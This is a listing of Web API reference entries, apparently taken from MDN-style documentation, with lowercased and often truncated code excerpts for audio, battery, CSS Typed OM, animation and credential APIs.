let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Accelerometer.z - Web APIs
WebAPIAccelerometerz
let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Accelerometer - Web APIs
let acl = new accelerometer({frequency: 60}); acl.addeventlistener('reading', () => { console.log("acceleration along the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
AddressErrors.organization - Web APIs
for example, if validation simply ensures that only permitted characters are included in the organization's name, this might return a string such as "the organization name may only contain the letters a-z, digits, spaces, and commas." if the organization value was validated successfully, this property is not included in the addresserrors object.
AesCtrParams - Web APIs
this extra block is called the "counter block".
AnalyserNode.fftSize - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
AnalyserNode.frequencyBinCount - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
AnalyserNode.getByteFrequencyData() - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
AnalyserNode.getByteTimeDomainData() - Web APIs
return value void | none example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
AnalyserNode.getFloatFrequencyData() - Web APIs
while the audio is playing, we collect the frequency data repeatedly with requestanimationframe() and draw a "winamp bargraph style" to a <canvas> element.
AnalyserNode.getFloatTimeDomainData() - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
AnalyserNode.maxDecibels - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
AnalyserNode.minDecibels - Web APIs
example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
Animation.cancel() - Web APIs
WebAPIAnimationcancel
exceptions this method doesn't directly throw exceptions; however, if the animation's playstate is anything but "idle" when cancelled, the current finished promise is rejected with a domexception named aborterror.
Animation.finish() - Web APIs
WebAPIAnimationfinish
interfaceelement.addeventlistener("mousedown", function() { try { player.finish(); } catch(e if e instanceof invalidstate) { console.log("finish() called on paused or finished animation."); } catch(e); logmyerrors(e); //pass exception object to error handler } }); the following example finishes all the animations on a single element, regardless of their direction of playback.
Animation.id - Web APIs
WebAPIAnimationid
examples in the follow the white rabbit example, you can assign the rabbitdownanimation an id like so: rabbitdownanimation.effect.id = "rabbitgo"; specifications specification status comment web animationsthe definition of 'animation.id' in that specification.
Animation.oncancel - Web APIs
the cancel event can be triggered manually with animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing creating a new animation that is initially idle does not trigger a cancel event on the new animation.
Animation.play() - Web APIs
WebAPIAnimationplay
cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.ready - Web APIs
WebAPIAnimationready
a new promise is created every time the animation enters the "pending" play state as well as when the animation is canceled, since in both of those scenarios, the animation is ready to be started again.
AudioBufferSourceNode.loop - Web APIs
rue); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } specification specification status comment web audio apithe definition of 'lo...
AudioBufferSourceNode.loopEnd - Web APIs
mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; loopstartcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ...
AudioBufferSourceNode.loopStart - Web APIs
mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; loopstartcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ...
AudioConfiguration - Web APIs
examples //create media configuration to be tested const mediaconfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : { contenttype : "audio/ogg", // valid content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
AudioContext() - Web APIs
non-standard exceptions in chrome if the value of the latencyhint property isn't valid, chrome throws a typeerror exception with the message "the provided value '...' is not a valid enum value of type audiocontextlatencycategory".
AudioContext.baseLatency - Web APIs
example // default latency ("interactive") const audioctx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 = new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification.
AudioContext.createMediaStreamSource() - Web APIs
nction(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get ...
AudioContext.createMediaStreamTrackSource() - Web APIs
navigator.mediadevices.getusermedia ({audio: true, video: false}) .then(function(stream) { audio.srcobject = stream; audio.onloadedmetadata = function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .catch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apithe definition of 'createmediastreamtracksource()' in that specification.
AudioListener.dopplerFactor - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.forwardX - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.forwardY - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.forwardZ - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.positionX - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.positionY - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.positionZ - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.setOrientation() - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.setPosition() - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.speedOfSound - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.upX - Web APIs
WebAPIAudioListenerupX
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.upY - Web APIs
WebAPIAudioListenerupY
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.upZ - Web APIs
WebAPIAudioListenerupZ
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioProcessingEvent - Web APIs
// load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessin...
AudioScheduledSourceNode: ended event - Web APIs
examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("startbutton").disabled = false; }) you can also set up the event handler using the audioscheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("startbutton").disabled = false; } for an example of the ended event in use, see our ...
AudioTrackList.length - Web APIs
var videoelem = document.queryselector("video"); var numaudiotracks = 0; if (videoelem.audiotracks) { numaudiotracks = videoelem.audiotracks.length; } note that this sample checks to be sure htmlmediaelement.audiotracks is defined, to avoid failing on browsers without support for audiotrack.
AudioTrackList.onaddtrack - Web APIs
document.queryselector("video").audiotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'audiotracklist.onaddtrack' in that specification.
AudioTrackList.onchange - Web APIs
var tracklist = document.queryselector("video").audiotracks; tracklist.onchange = function(event) { tracklist.foreach(function(track) { updatetrackenabledbutton(track.id, track.enabled); }); }; the updatetrackenabledbutton(), in this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's enabled flag to determine wh...
AudioTrackList.onremovetrack - Web APIs
document.queryselector("my-video").audiotracks.onremovetrack = function(event) { mytrackcount = document.queryselector("my-video").audiotracks.length; }; the current number of audio tracks remaining in the media element is obtained from audiotracklist property length.
AudioTrackList - Web APIs
var audiotracks = document.queryselector("video").audiotracks; monitoring track count changes in this example, we have an app that displays information about the number of channels available.
AudioWorkletNode.port - Web APIs
ong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second.
AudioWorkletProcessor() - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const testnode = new audioworkletnode(audiocontext, 'test-processor', { processoroptions: { someusefulvariable: new map([[1, 'one'], [2, 'two']]) } }) the console output will be as follows: > 1 // audioworkletnode options.numberofinputs set to default > map(2) {1 => "one", 2 => "two"} // a cloned map under someusefulvariable specifications specification status comment web audio apithe definition of 'audioworkletprocessor()' in that specification.
AudioWorkletProcessor.port - Web APIs
ong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second.
AudioWorkletProcessor - Web APIs
processing audio an example algorithm of creating a custom audio processing mechanism is: create a separate file; in the file: extend the audioworkletprocessor class (see "deriving classes" section) and supply your own process() method in it; register the processor using audioworkletglobalscope.registerprocessor() method; load the file using addmodule() method on your audio context's audioworklet property; create an audioworkletnode based on the processor.
AuthenticatorAssertionResponse - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // do something specific with the response // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment...
AuthenticatorAttestationResponse - Web APIs
examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response...
BaseAudioContext.createAnalyser() - Web APIs
example the following example shows basic usage of an audiocontext to create an analyser node, then use requestanimationframe() to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
BaseAudioContext.createBiquadFilter() - Web APIs
octx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'createbiquadfilter()' in that specification.
BaseAudioContext.createConvolver() - Web APIs
= new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
BaseAudioContext.createPanner() - Web APIs
to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
BaseAudioContext.createScriptProcessor() - Web APIs
// load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessin...
BaseAudioContext.decodeAudioData() - Web APIs
var request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { source.buffer = buffer; source.connect(audioctx.destination); source.loop = true; }, function(e){ console.log("error with decoding audio data" + e.err); }); } request.send(); } // wire up buttons to stop and play audio play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; new promise-based synt...
BatteryManager.charging - Web APIs
example html content <div id="charging">(charging state unknown)</div> javascript content navigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').textcontent = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.chargingTime - Web APIs
example html content <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').textcontent = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
example html content <div id="dischargingtime">(discharging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').textcontent = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.level - Web APIs
example html content <div id="level">(battery level unknown)</div> javascript content navigator.getbattery().then(function(battery) { var level = battery.level; document.queryselector('#level').textcontent = level; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingchange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment ...
BatteryManager.onchargingtimechange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification ...
BatteryManager.ondischargingtimechange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications ...
BeforeInstallPromptEvent.prompt() - Web APIs
example var istoosoon = true; window.addeventlistener("beforeinstallprompt", function(e) { if (istoosoon) { e.preventdefault(); // prevents prompt display // prompt later instead: settimeout(function() { istoosoon = false; e.prompt(); // throws if called more than once or default not prevented }, 10000); } // the event was re-dispatched in response to our request // ...
BiquadFilterNode() - Web APIs
options optional options are as follows: type: one of "lowpass", "highpass", "bandpass", "lowshelf", "highshelf", "peaking", "notch", "allpass".
BiquadFilterNode.Q - Web APIs
octx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.type = "peaking"; biquadfilter.frequency.value = 1000; biquadfilter.q.value = 100; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'q' in that specification.
BiquadFilterNode.detune - Web APIs
octx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; specifications specification status comment web audio apithe definition of 'detune' in that specification.
BiquadFilterNode.frequency - Web APIs
octx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'frequency' in that specification.
BiquadFilterNode.gain - Web APIs
octx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'gain' in that specification.
BiquadFilterNode.type - Web APIs
octx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'type' in that specification.
Blob.size - Web APIs
WebAPIBlobsize
// fileinput is a htmlinputelement: <input type="file" multiple id="myfileinput"> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) var files = fileinput.files; for (var i = 0; i < files.length; i++) { console.log(files[i].name + " has a size of " + files[i].size + " bytes"); } specifications specification status comment file apithe definition of 'blob.size' ...
Blob.type - Web APIs
WebAPIBlobtype
var i, fileinput, files, allowedfiletypes; // fileinput is a htmlinputelement: <input type="file" multiple id="myfileinput"> fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) files = fileinput.files; // our application only allows gif, png, and jpeg images allowedfiletypes = ["image/png", "image/jpeg", "image/gif"]; for (i = 0; i < files.length; i++) { // test if file.type is an allowed file type.
deviceClass - Web APIs
the bluetoothdevice.deviceclass read-only property returns a number representing the bluetooth devices "class of device".
Body.blob() - Web APIs
WebAPIBodyblob
note: if the response has a response.type of "opaque", the resulting blob will have a blob.size of 0 and a blob.type of empty string "", which renders it useless for methods like url.createobjecturl.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var obj...
Body - Web APIs
WebAPIBody
html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment ...
BroadcastChannel() - Web APIs
example // create a new channel listening to the "internal_notification" channel.
BroadcastChannel.name - Web APIs
syntax var str = channel.name; examples // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.name' in that specification.
BudgetService.getCost() - Web APIs
}); parameters operation must be "silent-push".
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queuingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy()' in that specification.
ByteLengthQueuingStrategy.size() - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'size' in that specification.
ByteLengthQueuingStrategy - Web APIs
}, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification.
CSS numeric factory functions - Web APIs
css.rad(number); css.turn(number); // <time> css.s(number); css.ms(number); // <frequency> css.hz(number); css.khz(number); // <resolution> css.dpi(number); css.dpcm(number); css.dppx(number); // <flex> css.fr(number); examples we use the css.vmax() numeric factory function to create a cssunitvalue: let height = css.vmax(50); console.log( height ); // cssunitvalue {value: 50, unit: "vmax"} console.log( height.value ) // 50 console.log( height.unit ) // vmax in this example, we set the margin on our element using the css.px() factory function: myelement.attributestylemap.set('margin', css.px(40)); let currentmargin = myelement.attributestylemap.get('margin'); console.log(currentmargin.value, currentmargin.unit); // 40, 'px' specification specification status...
CSS.supports() - Web APIs
WebAPICSSsupports
examples result = css.supports("text-decoration-style", "blink"); result = css.supports("display: flex"); result = css.supports("(--foo: red)"); result = css.supports(`(transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-webkit-transform-style: preserve)`); // result is true or false specification specification status comment ...
CSS - Web APIs
WebAPICSS
css.em(3) // cssunitvalue {value: 3, unit: "em"} specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification.
CSSMathValue - Web APIs
<div>has width</div> we assign a width with a calculation div { width: calc(30% - 20px); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('width').values[1].value ); // -20 the cssmathvalue.operator returns 'sum' because stylemap.get('width').values[1].value ); is -20: adding a negative number.
CSSNumericValue.add() - Web APIs
examples let mathsum = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); // prints "calc(23px + 4% + 3cm + 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'add' in that specification.
CSSNumericValue.div() - Web APIs
examples let mathproduct = css.px("24").div(css.percent("4")); // prints "calc(24px / 4%)" mathproduct.tostring(); specifications specification status comment css typed om level 1the definition of 'div' in that specification.
CSSNumericValue.equals() - Web APIs
let cssmathsum = new cssmathsum(css.px(1), css.px(2)); let matchingcssmathsum = new cssmathsum(css.px(1), css.px(2)); // prints true console.log(cssmathsum.equals(matchingcssmathsum)); let othercssmathsum = cssmathsum(css.px(2), css.px(1)); // prints false console.log(cssmathsum.equals(othercssmathsum)); // also prints false console.log(css.cm("1").equal(css.in("0.393701"))); specifications specification status comment css typed om level 1the definition of 'equals' in that specification.
CSSNumericValue.max() - Web APIs
// prints "2cm" console.log(css.cm("1").max(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'max' in that specification.
CSSNumericValue.min() - Web APIs
// prints "1cm" console.log(css.cm("1").min(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'min' in that specification.
CSSNumericValue.mul() - Web APIs
examples let mathsum = css.px("23").mul(css.percent("4")).mul(css.cm("3")).mul(css.in("9")); // prints "calc(23px * 4% * 3cm * 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'mul' in that specification.
CSSNumericValue.sub() - Web APIs
examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
CSSNumericValue.sum() - Web APIs
examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
CSSNumericValue.to() - Web APIs
examples // prints "0.608542cm" console.log(css.px("23").to("com").tostring()); specifications specification status comment css typed om level 1the definition of 'to' in that specification.
CSSNumericValue.toSum() - Web APIs
examples let v = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); v.tostring() // => "calc(23px + 4% + 3cm + 9in)" v.tosum("px", "percent").tostring() // => "calc(1000.39px + 4%)" specifications specification status comment css typed om level 1the definition of 'tosum' in that specification.
CSSNumericValue.type - Web APIs
examples let mathsum = css.px("23").sub(css.percent("4")).sub(css.cm("3")).sub(css.in("9")); // returns an object with the structure: {length: 1, percenthint: "length"} let cssnumerictype = mathsum.type(); specifications specification status comment css typed om level 1the definition of 'type' in that specification.
CSSPositionValue - Web APIs
#image { width: 300px; height: 300px; border: 1px solid black; background-color: #dededf; object-fit: none; } <p>check the developer tools to see the log in the console and to inspect the style attribute on the image.</p> <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> ...
CSSPrimitiveValue.getFloatValue() - Web APIs
example var cs = window.getcomputedstyle(document.body); var cssvalue = cs.getpropertycssvalue("margin-top"); console.log(cssvalue.getfloatvalue(cssprimitivevalue.css_cm)); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getfloatvalue' in that specification.
CSSPrimitiveValue.getRGBColorValue() - Web APIs
